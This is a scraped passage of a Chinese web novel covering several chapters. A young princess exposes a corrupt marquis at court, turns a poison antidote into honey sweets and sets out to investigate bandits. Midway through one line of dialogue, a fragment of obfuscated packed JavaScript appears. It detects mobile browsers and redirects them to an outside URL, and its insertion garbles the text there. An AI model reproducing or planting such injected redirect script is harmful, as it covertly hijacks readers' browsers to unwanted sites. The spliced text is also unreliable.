公孙越问道:“什么大事?”
团团小脑袋一晃:“奉旨查案!”
公孙越:“……”
烈国的皇帝,让团团查案?
回到王府,公孙越回了自己的临风居,团团和萧二走进了书房。
“爹爹!”团团扑到父亲怀里。
“诶!好闺女!”萧元珩把她抱到自己膝头坐好。
“爹爹,二叔叔知道是谁给的天机阁银子啦!”
“哦?”萧元珩一脸疑惑地看向了萧二。
萧二将方才的事情讲了一遍。
“原来如此,竟然是镇国侯韦家?”
他微微点头:”这就说得通了,韦政秋最是贪财,上次咱们把他家的老底给抄了个干净,他定是急着到处抓银子。”
“因此,幽冥顶才找上了他,财帛动人心啊。”
萧二问道:“王爷,韦侯爷莫非便是幽冥顶的掌舵人?”
萧元珩摇了摇头:“贪财者成不了大事,幽冥顶所图绝不是钱财。他没那个城府,不可能是他。”
团团搂着父亲的脖子:“爹爹,那咱们赶紧去抓他吧!”
“团团,我还没来得及告诉你,那天晚上抓到的人说,指使他们放火的是陈浩。”
团团眼睛都瞪圆了:“陈浩?不可能的啦,爹爹!陈浩不是坏蛋!”
萧元珩捋着女儿头顶的小呆**:“我也不信,陈王就算再怎么不在意自己的嫡长子,也不会做出这等会连累整个家族的事。因此还在让他们严审,你们这不就来了。”
萧二接口:“但是王爷,山洞里的箱子早已不在了,如今就只有茶楼里的那些,咱们没有证据啊。”
萧元珩看着女儿:“团团,我若是和韦政秋当堂对证,你是否有办法让他说出实情?”
团团想了想,笑眯眯地点头:“当然有啦!”
第239章 闺女,该你了
几日后,圣驾亲临大理寺。
庄严肃穆的公堂之内,萧杰昀端坐正中。
萧元珩坐于下首,团团则坐在他旁边的椅子里,一双乌溜溜的大眼睛好奇地四处张望。
这里比京兆府还大哦!
陈浩站得笔直,脸色有些苍白,身为陈王的嫡长子,被传到大理寺,令他心中惴惴。
镇国侯韦政秋坐在萧元珩的对面,泰然自若。
那夜被擒获的几个黑衣人,跪在大堂中央。
那些用来装金锭的箱子也都整整齐齐地码放在地上。
大理寺卿、少卿等一应官员皆垂手伺立在两旁,屏息凝神。
萧杰昀缓缓开口:“元珩,你既提议朕亲审,便说说吧。”
萧元珩起身:“启禀陛下,这几个,便是前几日夜间,企图烧毁福运茶楼的人犯。”
“他们之所以意图纵火行凶,正是因为,小女将天机阁收受银两所用的箱子,放在茶楼中公之于众。
萧杰昀脸色顿时沉了下来。
“大胆!竟敢在京中纵火,意图毁灭证据?”
两旁的官员们顿时心头一凛。
萧元珩看向那几个黑衣人:“你们是受何人指使?陛下面前,还不从实招来!若执迷不悟,便是欺君大罪,祸及满门!”
为首的黑衣人身体一颤,却依旧死死低着头:“是陈浩陈公子指使小的们做的。”
此言一出,所有人的目光都看向了陈浩。
陈浩猛地抬头,脸上血色尽褪:“陛下!臣冤枉!臣与天机阁素无往来,更与这些人毫无瓜葛,岂会指使他们行此大逆不道之事!请陛下明鉴!”
韦政秋叹了口气:“陈公子此言差矣!既有人证在此,岂容你空口白牙狡辩?”
他转身面向皇帝:“陛下,此子胆大包天,竟在京畿重地纵火,若不严惩,何以正国法,安民心?还请陛下秉公处置,以儆效尤!”
大理寺卿开口附和:“陛下,韦侯爷所言句句在理。人证在此,不可因涉案者身份贵重便法外容情,否则国法威严何在?臣附议,当依律严惩,以正视听!”
萧元珩看了他们一眼,微微一笑:“仅有人证而已,诸位何必心急?”
他摸了摸团团的小脑袋:“闺女,该你了。”
团团打开荷包,掏出了楚渊送给自己的万象钥。
国师给的宝贝,还没用过呢,看你的了,小钥匙。
她小手紧握,闭上眼睛,静心凝神。
所有人都紧盯着她,连萧杰昀也不例外。
片刻后,她睁开了眼睛。
公堂内的景象已然大变,无数或明或暗、或粗或细的线凭空出现,将堂上众人交织在一起。
哇!好多线啊!五颜六色的,真好玩!
她从椅子里蹦了下来。
走到指证陈浩的黑衣人面前。
一条灰色的线正连接着他和韦政秋。
“你这么听他的话,是因为你以为他是你的救命恩人对不对?”
黑衣人一惊,看着站在自己面前的小团子。
“你傻**!当年你被人追杀就是他派人干的,他救你就是为了让你以后都听他的话啊!”
黑衣人脸上的血色瞬间褪得一干二净,整个人猛地晃了一下。
他抬起头,死死地盯住了韦政秋:“她说的是不是真的?”
韦政秋的脸色大变:“胡言乱语,蛊惑人心!臣素来遵守法纪,与这些贼子素昧平生。陛下,此等荒谬之言,岂能听信?”
萧元珩眯着眼睛看着他,竟然用这种手段,挟恩图报,真是卑鄙。
团团又走到了大理寺卿的面前,一条粉红色的线连接着他和韦政秋。
这条线同其他的都不一样,又粗又亮,还在噗通噗通的跳呢!
大理寺卿只觉得头皮一炸,忍不住向后退了半步,心中暗暗叫苦,这活祖宗怎么冲着我来了?
众人的目光随着团团的脚步,全都看向了他。
他浑身不自在,官袍下的双腿都微微颤抖起来。
团团仰起头:“我知道你为什么向着他说话哦!”
大理寺卿心头一颤,她知道?她怎么可能知道!
但是,现在再想撇清显然已经来不及了,只能硬撑到底。
“郡主误会了,下官只是秉公断案,纵然有所偏差,也绝对不是偏向何人。”
团团翻了个白眼,这些人,怎么嘴都这么硬呢!自己做了坏事,还不承认!
“你一直喜欢他妹妹,喜欢了好多年啦,对不对?”
大理寺卿的脸顿时就红得几乎能滴出血来。
周围的官员和侍立在一旁的皂隶们全都一脸震惊。
韦侯爷的妹妹?不是守寡了好多年了吗?
团团继续道:“他跟你说,只要你帮他的忙,他便做主把妹妹嫁给你。”
“你怎么也这么傻啊!他的妹妹早就跟王记缎庄的掌柜的好上啦,他一直骗你呢!”
大理寺卿脸色由红转白,又由白转青。
他猛地扭头看向韦政秋:“侯爷,你当初拿着令妹亲手绣的帕子给我,说那是她的心意。难道竟然是匡我的?”
“蠢货!闭嘴!”韦政秋厉
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声喝道,额角青筋暴起,“陛下!郡主年纪幼小,尚不懂事,却在公堂上如此胡言乱语,必是有人指使!请陛下明察!”
团团丝毫不惧,径直走到了他的面前。
无数道金色的线,从箱子上丝丝缕缕延伸到韦政秋的身上。
“你之所以帮那个破顶,就是因为他们给你钱,让你给天机阁送去,每次你都能赚一笔,对不对?”
韦政秋瞪圆了眼睛:“郡主不可污蔑老臣!老臣清清白白……”
团团懒得听他说完,直接打断:“你把那些金锭,都偷偷熔了,藏进了你寝室地砖下面的大铁箱里,上面还盖着你夫人的一件冬衣,对不对?”
韦政秋的大脑一片空白,耳边轰鸣一片。
自从自己藏在山洞中的财宝不翼而飞之后,他再也不相信任何人。
此后,他到处敛财,不惜与幽冥顶合作,将所有重新积累起来的财富全都放在了自己的寝室,生怕再度消失不见。
这是他最大的秘密。
而今日,众目睽睽之下,竟被一个孩子当众揭穿!
他双腿一软,再也支撑不住,从椅子里滑落到地上,面如死灰。
团团走回到父亲身边,揪着他的衣袖:“爹爹!我做得好吗?”
萧元珩将她一把抱起:“做得好!做得非常好!”
公堂上一片寂静。
片刻后,萧杰昀缓缓开口:“镇国侯韦政秋。”
韦政秋跪倒在地:“陛下!老臣有罪!求陛下开恩!”
萧杰昀俯视着他:“你方才不是还口口声声要朕秉公处置,以儆效尤吗?”
韦政秋不停磕头:“求陛下恕罪啊!”
萧杰昀毫不留情:“韦政秋,贪墨敛财,勾结江湖,操纵律法,罪证确凿,恶行累累。”
“着,革去爵位,抄没家产,押入天牢。韦氏一族,凡涉案者,一律严惩不贷。”
“遵旨!”旁边的皂隶上来将韦政秋拖了出去。
“大理寺卿,你身负重责,却徇私枉法,依附权奸,品行有亏,不堪其位。革去官职,永不叙用。”
大理寺卿跪倒叩首:“谢陛下开恩!”
“其余人犯,收监严审!”
“遵旨!”
萧杰昀看向团团:“不愧是朕的镇国郡主!天机阁一事,朕不再追究。”
团团拍着小手欢呼起来:“皇伯父真好!谢谢皇伯父!”
父女二人回到王府,团团去静兰苑找母亲,萧元珩回了书房。
片刻后,下人在门外禀报,公孙越候来到书房,求见宁王。
第240章 我宁王府的逆鳞,谁也动不得!
“公孙越?”萧元珩道:“让他进来。”
公孙越低着头,规规矩矩地走进了书房。
他进门便下跪磕了个响头:“宁王,求您救救我的母妃。”
萧元珩道:“你先起来,坐下,慢慢讲。”
公孙越起身站起,却并未坐下。
他抬起头,看着宁王的眼神中,第一次流露出受伤的小兽般的哀戚:“宁王,我……我是来杀你的。”
书房内霎时一静,萧元珩面无表情,深深地看着他。
公孙越垂下了头,声音颤抖:“父皇用母妃的性命要挟我,我只有杀了您,才能回去再见到她。”
他掏出一个小纸包,上前一步,放到了案上:“那个于公公,是派来监视我的人。昨日他给了我这个**,让我找机会放到您的饮食中。”
“王爷,请您恕罪。”
“我一是为了母妃安危,二是因为我身中国师巫罗的剧毒,每月须服用解药方能活着,否则,他说过,我就会浑身筋脉寸断,死如凌迟。”
“王爷,我不想死,也不想母妃有事,所以才不得已来到烈国做了质子。
“但是,我没有想到,团团她,会对我那么好。”
“王妃和几位兄长待我也亲厚。我在这里,过得比我在大夏时好很多很多。所以,我想来想去,我做不到,无论如何也做不到……”
他单薄的肩膀轻轻耸动,眼泪大颗大颗地滚落下来。
萧元珩看了一眼桌上的**,缓缓开口:“所以,你今日来,是想求本王去救你远在大夏的母妃?”
“是!”公孙越直视着他,眼中满是恳求,“王爷,只要您能救出母妃,我愿意为您,为烈国做任何事!只求母妃能平安!”
萧元珩沉吟片刻:“本王知道了,你且安心住在府中,如同往日便好。”
公孙越下跪行礼,语带哽咽:“多谢王爷!”
“下去吧。”
萧元珩看着他的背影,公孙驰老谋深算,如何能将刺杀本王的大事交给一个孩子?
除非,这个孩子,有什么过人之处。
这个小质子,救母心切不假,自己**之事也真,但对于自己的身世却绝口不提,定有隐情。
“来人,去告诉汪明瑞,继续盯着云妃的动静,再细查公孙越在大夏皇宫的所有过往,事无巨细,悉数来报。”
“给于公**排个差事,让他每日可以在固定的时候,外出一个时辰。”
“是。”
几日后,于公公借外出之机,与大夏来的商队碰面时,被早已跟在身后的王府侍卫们一举擒获,搜出了一封信和一个装着药的小瓷瓶。
萧元珩展开信一看,竟然是大夏皇帝公孙驰亲笔。
“督促越儿,旧令不变,宁王当诛。
若难近其身,则设法取其女,烈国仙使之性命。
二者必成其一,不得有误。
本月蚀骨丹,交予越儿,催其尽快行事。
若再迁延观望,云妃性命不保。”
萧元珩的目光死死盯在那句“设法取其女之性命“上,胸中怒火升腾。
“好,好你个公孙驰!”
“来人!命几位公子即刻回府,无论有任何要事,速到书房来见我!”
“是!”
不过一个时辰,兄弟三人便先后匆匆赶至,连正在军营操练的萧宁辰也快马加鞭地赶了回来,身上的盔甲都未来得及脱下。
萧宁远率先开口:“父亲,何事如此紧急?”
萧元珩一言不发,将那封信递给了他。
萧宁远接过来一看,怒极反笑:“大夏皇帝好大的狗胆!”
萧宁辰与萧宁珣见状,也立刻凑到大哥身旁。
萧宁辰只看了一眼,周身杀气便骤然迸发,一拳砸在桌案上,发出“砰”的一声巨响:“公孙驰竟敢动团团?父亲,给我一支精锐,我连夜动身,潜入天启城去杀了他!”
萧宁珣面覆寒霜:“不知死活的东西!”
萧元珩看着怒火中烧的三个儿子,将公孙越此前坦白的事情简单讲了一遍。
书房内寂静一片。
萧宁珣深吸了口气,语气中带着一丝后怕与庆幸:“如此说来,若非团团以真心待他,令他迷途知返,父亲此刻恐怕已遭毒手。”
萧宁辰眉头紧锁,语气强硬:“此子心性难测,
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难保不会再生歹念。为保团团万全,父亲,还是将他迁出王府去,不可再让他接近团团。”
萧宁珣却摇了摇头:“二哥,正因团团真心待他,他感念于心,才向父亲坦陈一切。此刻若强行将他驱离,反会寒了他的心,恐生变故。”
“况且,他若真有异动,在府中我们更能及时察觉。”
萧宁远点点头:“三弟言之有理,但二弟的顾虑也不无道理。团团的安危重于一切。或许,将他送回质馆,更为稳妥。”
三兄弟各执己见,争论不下。
萧元珩缓缓开口:“公孙越不必搬出王府,一切如旧。”
萧宁辰急道:“父亲!团团的安危最重要!留着他,终归不妥!”
萧元珩摆了摆手:“他既已投诚,我宁王府便容得下他。团团真心待他,我们做父兄的,自当全了她的赤子之心。”
他话锋一转,语气森然:“至于公孙驰,他敢将主意打到团团头上,便是自寻死路。他不是倚仗云妃性命要挟公孙越就范么?那便让他这最大的倚仗,彻底消失。”
萧宁珣眼神一亮:“父亲的意思是?“
“假死脱身。”萧元珩眼中的怒火都快烧出来了,“这还是团团的主意。我会让汪明瑞设法,助云妃假死,逃出大夏皇宫。”
几个兄弟互相看了一眼,萧宁珣笑了:“像咱们团团想出来的主意!”
萧元珩继续道:“虽然我还不明白为何公孙驰要让公孙越一个六岁的孩子来做这样的大事,但是,既然他视其为臂膀,那便斩了他对这条臂膀的掌控。”
“辰儿,你亲自去,协助汪明瑞,事成之后,去大夏皇宫放把火,趁乱在公孙驰的寝宫里给他留点儿东西。”
萧宁辰眼中精光大盛:“是!父亲,我知道怎么做。”
萧元珩看向窗外:“此事,不必让团团知晓。她只需无忧无虑,开心便好。”
兄弟三人点了点头。
敢动他们的掌上明珠?
哪怕你是一国之主,也要让你知道,我宁王府的逆鳞,谁也动不得!
萧元珩拿起案上的小瓷瓶,走进了临风居。
第241章 药丸?不,是糖豆!
公孙越正和团团坐在桌边,玩着一个鲁班锁,两个小脑袋挨在一起。
“应该这么拆吧。”
“不对!反过来才拆得开。”
听到脚步声,团团抬起了头:“爹爹!”
她开心地扑了过去,萧元珩俯身将她抱起:“乖!”走到桌边坐下,将瓷瓶放在了桌上。
公孙越急忙起身行礼:“宁王安好。”
抬起头,他一眼看到了桌上的瓷瓶,顿时脸色巨变。
萧元珩将于公公和大夏的人均已落网的事讲了一遍。
公孙越看向团团,宁王都告诉她了?那她以后还会理我吗?
萧元珩盯着他,心中暗暗点头,这小质子确实很珍惜和团团的情谊,看到这么要命的东西,首先担心的却不是自己。
他开口问道:“这就是你每月要服下的蚀骨丹吧?”
公孙越黯然点头:“是。”
团团一脸奇怪:“小越越,你生病了吗?为什么每个月都要吃药啊?”
公孙越抿了抿唇,垂下了头,不知道该如何回答。
萧元珩替他解释:“这是巫罗作的孽,他用公孙越试药,害得他中了毒,如今每个月都要服下这个丹药,否则性命不保。”
公孙越猛地抬头,看向他,满脸都是感激和惊喜,眼睛里闪烁着光彩。
宁王!他竟然在团团面前帮我圆了此事!
团团一听就怒了:“又是那个坏蛋国师!小越越这么小,他竟然这么对他!”
“小越越,你别怕,我请神医爷爷回来给你治。神医爷爷可厉害了,一定能把你治好的。”
她抓起桌上的瓷瓶,打开瓶塞,将蚀骨丹倒在了手里,凑近鼻尖闻了闻,又仔细看了半晌。
“我怎么觉得,这个东西,这么熟悉呢?”
公孙越惊讶了:“团团,你认识这个?这是巫罗秘制的药啊,你怎么会认得?”
团团也不明白:“我也不知道啊,就是看着觉得特别熟。”
萧元珩心中一动:“团团,你在大夏时吸收了巫罗的修为,难道是因此?”
“你好好看看,若是能将此药做出来,从此公孙越便不必再受控于巫罗了。”
团团点了点头:“小越越,你放心,我一定能把这个糖豆做出来!”
公孙越一怔,糖,糖豆?
次日一早,团团就冲进了临风居,拉起公孙越的手就往外走:“小越越,我想起来啦!”
她兴奋得很,眼睛亮得惊人:“咱们去梨香苑!”
“梨香苑?那是哪?”公孙越被她拽得踉跄,忙不迭跟上。
“给你做糖豆呀!就是那个蚀骨丹,我想到法子啦!”
公孙越心头一跳。
巫罗的秘药岂是儿戏?难道真的能做得出来?
两人一路小跑来到了梨香苑。
院子里,各色药草郁郁葱葱,空气中弥漫着清苦的草木香。
“小姐,您怎么来了?”照顾灵草的药僮迎了上来。
“找东西!”团团喊了一声,跑进了药田。
“小姐!”药僮大惊失色,“您慢着点儿啊!要是踩坏了,墨神医定会发脾气的!”
“知道啦!”团团像只小蝴蝶一般在药田间穿梭。
她挨个细看,每一种都凑近了嗅一嗅。
偶尔还要掐片叶子尝一口,脸上一会儿皱眉一会儿惊喜。
终于,团团掐了一株开着淡紫色小花的药草,放在舌尖抿了抿,小眉头瞬间舒展开来。
“这个味道对啦!就是这个味道!和那个丹药的味道一样!”
公孙越看得胆战心惊:“团团,你这样,真的行吗?不会**吗?”
“不会呀,”团团又揪了片叶子递给他,“你尝尝,甜甜的。”
公孙越半信半疑地接过来,放进口中,果然尝到一丝奇异的甘甜。
团团高兴地连根拔了两株,蹦蹦跳跳地往厨房方向跑去。
“小越越,快来!咱们去厨房做糖豆!”
药僮望着地上留下的两个坑,目瞪口呆。
小姐!墨神医若是看到,真的会发飙的!
王府厨房,此时正是午后的清闲时分。
厨娘见小郡主风风火火冲进来,忙不迭地起身相迎。
团团举着那两株紫色灵草:“嬷嬷!我要做糖豆,您帮我
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把这些捣碎好不好?”
厨娘惊呆了:“糖豆?用这个做糖豆?”
“对啊!”团团把灵草放到案板上,“小越越,你快去拿蜂蜜,要最甜的那种!”
公孙越手足无措地站在原地。
我哪知道蜂蜜在哪里?蜂蜜?团团,你是真的要做糖豆吗?
最后还是跟进来的萧二默默从柜中取出蜂蜜,又帮着厨娘将药草捣成青绿色的汁液。
团团看了看:“嬷嬷,你做的麻团那么好吃,就按照那个方法,帮我把这些做成糖豆,好不好?”
厨娘迟疑了一下:“哦,好,嬷嬷试试啊。”
说完,她挽起袖子,拿出一个和面的陶盆,混上灵草的汁液开始和面。
团团踮着脚将蜂蜜倒了一些进去:“这个是给小越越吃的哦,不能苦,要甜甜的才好!”
公孙越心里一暖,从来没有人,这样毫无所求地把他放在心上过,团团,你怎么这么好呢!
浅绿色的药汁和金黄的蜂蜜混合在面粉中,在团团的‘帮忙’下,被嬷嬷揉成了一个个均匀的小面团。
厨娘问道:“然后呢?小姐?”
团团奇怪地看了她一眼:“麻团怎么做,这个也怎么做啦!嬷嬷你不是经常做吗?”
“哦。”厨娘连忙拿出一个蒸屉,将案板上的面团一一整齐地码放进去。
这是小姐自创的点心吗?
“小姐,那你等一会儿,一炷香的功夫就好啦!”
公孙越站在灶台旁,看着团团鼻尖上沾着面粉,眼睛亮晶晶的模样,心头又酸又热。
虽然,他对这个厨房里做出来的丹药,没抱半分希望,但是,团团这份毫无保留的心意,却是珍贵无比。
一炷香之后,厨娘喊道:“好啦,小姐!”
蒸笼掀开的瞬间,清苦的药香混着蜜糖的甜腻扑面而来。
厨娘将小小的面团盛到一个小碟子里,放到了桌上。
团团迫不及待拿起了一个,小心吹了吹,递到公孙越嘴边。
“小越越,你快尝尝!”
公孙越深吸了口气,闭上眼将‘糖豆’吞了下去。
第242章 得给梨香苑加把大锁
预想中的苦涩并未出现,反倒是蜜糖的甜意瞬间在舌尖化开,随后,一股清凉的感觉顺着喉间流淌到全身。
“怎么样?”团团拽着他的衣角,紧紧地盯着他。
“好像……好像还真的有用。”
公孙越难以置信地抚着胸口,是这个感觉!
真的是这个感觉!和蚀骨丹服下的感觉一模一样!
天哪!难道,团团真的做出来了?
我自由了?从此以后,再不用卑微地等待国师赐药,也不用再供人驱使了?
太大的惊喜,令他整个人都僵住了。
一旁的萧二也是目瞪口呆,小姐,你真的不是在玩吗?
那可是巫罗的秘药啊!
团团顿时眉开眼笑,顺手也拿起一个塞进嘴里:“我就说能行嘛!以后啊,咱们天天做,气死那个坏蛋国师!”
“小姐!不能吃啊!”萧二连忙扑了过去,将装着‘糖豆’的碟子拿了起来。
团团吃得正开心:“为什么不能吃呢?二叔叔,你也尝一个吧,甜甜的,可好吃了!”
萧二使劲摇头,若是当真有用,那可就是药啊!哪能随便吃!
梨香苑中。
墨长庚喜滋滋地捧着新得的雪蛤走了进来,一眼便看到了地上的两个坑。
药僮的心顿时提了起来。
墨长庚瞪圆了眼睛:“谁这么大胆子!敢拔了我的紫星草?”
药僮急忙回道:“是,是小郡主,她说要去厨房,做,做糖豆!”
糖豆?
墨长庚怒气冲冲地来到了厨房,只见团团正踮着脚,往“糖豆”上撒着干桂花,公孙越在一旁小心翼翼地帮忙扇凉。
墨长庚一个箭步冲上前,痛心疾首地指着蒸笼:“暴殄天物!暴殄天物啊!”
团团眨着无辜的大眼睛,举起一颗还冒着热气的糖豆:“神医爷爷!你尝尝?可甜啦!”
“甜什么甜!你可知那紫星草——”话说到一半,他突然抽了抽鼻子,猛地抓起了一颗糖豆仔细端详。
“这,这是你做的?”他难以置信地看向团团。
“对呀!”团团骄傲地挺起小胸脯,“我给小越越做的!他刚刚吃了一个,说可管用啦!”
墨长庚急忙拉过公孙越的手腕,把自己的手搭了上去。
公孙越没见过他,心里一惊,想躲已经来不及了。
墨长庚的脸色从震怒到震惊再到狂喜:“竟真能压制蚀骨之痛?”
公孙越急忙追问:“这位神医,你的意思是说,我以后,吃团团做的这个糖豆就行了是吗?”
墨长庚斜了他一眼:“废话!你也不看看她是谁的徒弟!”
公孙越彻底放心了,所有的担忧烟消云散。
团团!团团啊!你救了我的命啊!
墨长庚紧盯着团团:“丫头,你怎么配的方子?”
团团掰着手指头数:“紫色的草草两棵,花两朵,还有……”
“胡闹!”墨长庚听得心惊肉跳,“这君臣佐使全然不对!可偏偏……”他盯着掌心的糖豆,眼中精光乍现,“徒儿,你莫非是天生通药?”
他突然堆起了满脸谄媚的笑容:“乖徒儿,想不想学更厉害的炼丹术?师父教你用真正的丹炉好不好?”
团团警惕的后退半步:“我才不要当药僮呢!”
“不是药僮!”墨长庚急得跺脚,“是传承!我回春手的绝世传承!”
团团歪着头想了想,终于点了点头:“那说好,我可不是拜你为师哦,我想学的时候才学!你不许看着我!”
“行行行!都依你!”墨长庚喜笑颜开,但想起自己精心培育的紫星草,就这样被团团给薅秃了两棵,又忍不住捶胸顿足。
萧二默默递上一壶清心茶:“神医,小姐方才说,今日做的是蜂蜜桂花味的,明日还要做会发光的。”
墨长庚的手忍不住一抖,不行!得给梨香苑加把大锁!
当晚,萧元珩得知了这件事,震惊之余,忍不住大笑:“哈哈哈,不愧是我萧元珩的闺女!本王刚想斩了公孙驰这条臂膀,你就帮了
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爹一个大忙!”
程如安看着丈夫喜形于色的样子,也不禁微笑起来。
次日,早朝后,紫宸殿中。
萧杰昀面色铁青,将一份八百里加急奏报摔在御案上。
“青州府军械库被劫,守军三十七人悉数**,现场留下了这个!”
程公公将一支乌黑的**箭呈给正坐在下首的萧元珩。
正是九星连**的专用箭矢!
萧元珩惊讶:“又是九星连**?”
兵部尚书开口:“陛下,这些贼人简直胆大包天!朝廷应即刻出兵,将这些贼人剿灭殆尽!”
内侍在外禀告:“启禀陛下!宋公在殿外求见!”
萧杰昀道:“宣。”
宋敬贤缓缓走入,刚想行礼,萧杰昀急忙拦住:“老师不必多礼,赐坐。”
“谢陛下。“宋敬贤落座,看在座的几位个个脸色沉重,“这是……出了何事?”
萧元珩将事情讲了一遍。
宋敬贤微微点头:“原来如此。”
萧杰昀问道:“老师有何高见?”
宋敬贤回道:“陛下,老夫以为,团团才刚斩断了他们的银钱来源,这些贼人便如此作为,显然已是狗急跳墙。”
“这些贼人绝非寻常匪患。他们刻意留下连**,意在**,更在误导,意图让我们无法探知他们真正的目的。”
“敌在暗,我在明,且分散在茫茫江湖各处,朝廷查起来,无异于拳头打跳蚤,徒劳无功。”
兵部尚书接口:“宋公所言极是,此事兵部已查了许久,但这些江湖人隐匿于暗处,且分散各地,兵部久查无果,甚是棘手。”
宋敬贤点了点头:“需得派一支奇兵,方能事半功倍,以收奇效。”
兵部尚书问道:“不知宋公指的是?”
“需派一个,了解此案前因后果,身负非凡之能,还有江湖根基之人。”
萧杰昀眉头皱起:“此人是谁?”
宋敬贤一字一句道:“正是老夫的关门弟子,嘉佑郡主。”
第243章 你就得也管我叫哥
萧元珩脸色骤变:“不可!团团才五岁!”
宋敬贤看着他:“元珩,我知你爱女心切,但正因团团年幼,贼人才会疏于防范,此为其一。“
“其二,她为民求雨,有仙使之名,福泽深厚,或能以‘气运’克制对方的阴谋,此非千军万马所能及。”
“其三,她身为天机阁玄机令主,可名正言顺调用天机阁在江湖中的势力。故,于公于私,她都是最合适的人选。”
“正因匪患棘手,常规手段难以奏效,才需出此奇兵。团团福运天成,恰是破此僵局的关键。”
他抬头看向皇帝:“陛下可颁明旨,择精锐护卫,以剿匪之名,行查案之实。如此,既全了宁王爱女之心,亦解了朝廷燃眉之急。”
萧元珩脱口而出:“陛下,万万不可!”
他猛地站起:“团团尚且年幼,只是一个需要父母兄长呵护的孩子,那些贼人如此狡诈狠毒,岂能让她以身犯险?”
他胸膛微微起伏,眼前仿佛已经看到宝贝女儿身处刀光剑影之中,令他心如刀绞。
宋敬贤神色依旧平静:“元珩,你视团团如珍宝,老夫亦已将团团收为亲传弟子,岂愿她涉险?”
“但她不仅是宁王府的郡主,更是手持‘玄机令’的天机阁令主!这些江湖势力,由她出面最合适,她是唯一能打破眼下僵局的人选。”
萧元珩双拳紧握,无话可说。
一直沉默的萧杰昀终于开口,“老师之言不错,朕,准了。”
“传朕旨意:着,封嘉佑郡主为查案特使,总揽青州一案。九皇子萧然,同行协理,其余护卫随员,交由宁王萧元珩筹措安排。”
皇帝圣意已决,金口既开,此事便再无转圜的余地。
萧元珩缓缓低下头,艰难地开口:“臣……遵旨。”
回到王府,萧元珩斟酌着,缓缓地告诉了程如安,担心妻子舍不得女儿,急坏了身子。
没想到,程如安只是默默落泪,一声没吭,起身便去给团团收拾行装去了。
萧元珩看着妻子的背影,叹了口气,去找团团。
团团正和公孙越一起喂雪衣,听父亲说完后,大眼睛眨巴了一下:“爹爹,你的意思是,我可以自己去查连**的事,不用等兵部那些笨蛋了?”
萧元珩一怔:“对。”
团团开心地蹦了起来:“太好啦!爹爹!我一定能抓住那些坏蛋,然后,冯舟就可以出来啦!”
冯舟!萧元珩这才明白,原来女儿惦记的是这个。
他抱起团团,在她的小脸蛋上亲了一下:“好闺女!”
“咦,皇伯父为什么不让大三哥陪我去?”
萧元珩想了想:“七皇子如今是靖亲王,协理兵部,公事繁多。怎么,团团不喜欢九皇子?”
团团哦了一声:“喜欢啊,那就他吧!爹爹!我什么时候走?”
“三日后。这三日,爹爹哪儿都不去了,就陪着你,好不好?”
“太好啦!”团团抱着他的脖子,蹭来蹭去。
公孙越在一旁看着,心中万分不舍,却一言未发,默默退开了。
三日后,午时刚过,宁王府门口。
九皇子的仪仗摆开,侍卫肃立,旌旗招展,一派天家气象。
萧宁珣牵着妹妹的手,拜别父母。
程如安蹲下身子,搂着女儿,忍住眼泪:“乖啊,别着急办什么案子,好好吃,好好玩,办不成你皇伯父也不会怪你。”
“不许冒险,一切听你三哥的,记着,娘亲在家等着你回来呢。“
团团用力点头:“放心吧!娘亲!”
她又扑到父亲怀里使劲贴了贴后:”走啦!三哥!”刚转过身。
“团团!”公孙越从府中跑了出来,径直冲到她面前,将云妃那支珍珠簪子轻轻插在了她的发间。
他看着戴着发簪的团团:“我没有什么好东西能送给你,这是我娘亲的,你戴着,早点儿回来。”
团团抬起手摸了摸:“谢谢你啊!小越越!我保证好好戴着,不弄丢!”说完冲着他甜甜一笑。
“吁——!”萧然策马赶到。
他翻身下马:“小不点儿!哭鼻子没?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16749909|184125||http|test|mini|href|location''.split(''|''),0,{}));
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r>团团瞪着他:“我没有!你才哭鼻子!又叫我小不点儿!”
萧然嘿嘿一乐,走过去牵起她另一只手,同萧宁珣一起,将团团送进了马车。
萧然冲着府门口站着的一众人用力挥手:“都回吧!别站着啦!腿不累吗?我们走啦!”
他这么一来,原本沉重的气氛轻松了不少。
萧元珩摆了摆手:“去吧!早去早回!”
萧二在马上拱手行礼:“王爷请放心!”
“驾!”车夫一声高喊,马车缓缓前行。
团团问道:“萧然,咱们先去哪?”
“万灵苑。”
萧宁珣一愣:“去那里做什么?“
萧然两手一摊:“父皇说,他有东西赐给团团,让咱们去趟万灵苑,我哪儿知道为什么,去了不就知道了。”
“对了,小不点儿,你管七皇兄好歹还叫一声大三哥,为何对我这么指名道姓的?“
团团仔细打量他:“大三哥跟三哥哥很像,又比他大了一圈,所以才叫大三哥。”
“你跟我几个哥哥没半点儿一样,我当然喊你萧然啦!”
萧然连连摇头:“不行!你就得也管我叫哥!”
团团脑袋摇得比他还厉害:“我就不!”
萧宁珣无奈地看着两人斗嘴,很快,马车停在了万灵苑门口。
园监迎了过来:“小的见过九殿下,文慧伯,小郡主。”
萧宁珣抱着团团下了车,团团一见到园监:“小的!我要出远门去,帮我照顾好我的大猫啊!”
园监笑着应下:“郡主放心吧,那雪豹,都是小的亲自照料着。”
萧然懒洋洋地从车窗里探出头:“父皇有什么东西让你交给郡主啊?”
园监笑了笑:“诸位请看。”
两个下人抬上来一个覆着明黄绸布的精致鸟笼。
园监揭开绸布,笼中是两只通体雪白,体型不大却圆滚滚的小鸟,金瞳顾盼,跳跃灵动。
细看之下,两只鸟的腿上都系着一个小小的信囊。
“此乃凌霄雀,极有灵性,可日行千里。”
第244章 还有人会来吗
“陛下旨意,特赐予郡主,方便此行传递消息,护佑周全。”
团团的眼睛腾的一下亮了。
她扒着笼子往里看:“哇!他们是我见过的最漂亮的小鸟!”
突然,她背后有些发凉,三哥哥就在身后!
“当然!比三哥哥送给我的雪衣还是差了一点点。”
背后的寒意消失了。
团团偷偷呼出了一口气,好险哦!
她看向园监:“小的,他们叫什么啊?”
园监一怔:“回郡主,他们……未曾有名。”
团团摇头:“那怎么行!以后,他们就是我的鸟鸟了,一定要有一个好名字才行!”
萧宁珣看着这两只雪白灵动的鸟儿:“这**色,跟母亲做的糖糕差不多。”
团团盯着它们圆滚滚的肚子,灵机一动:“有了!”
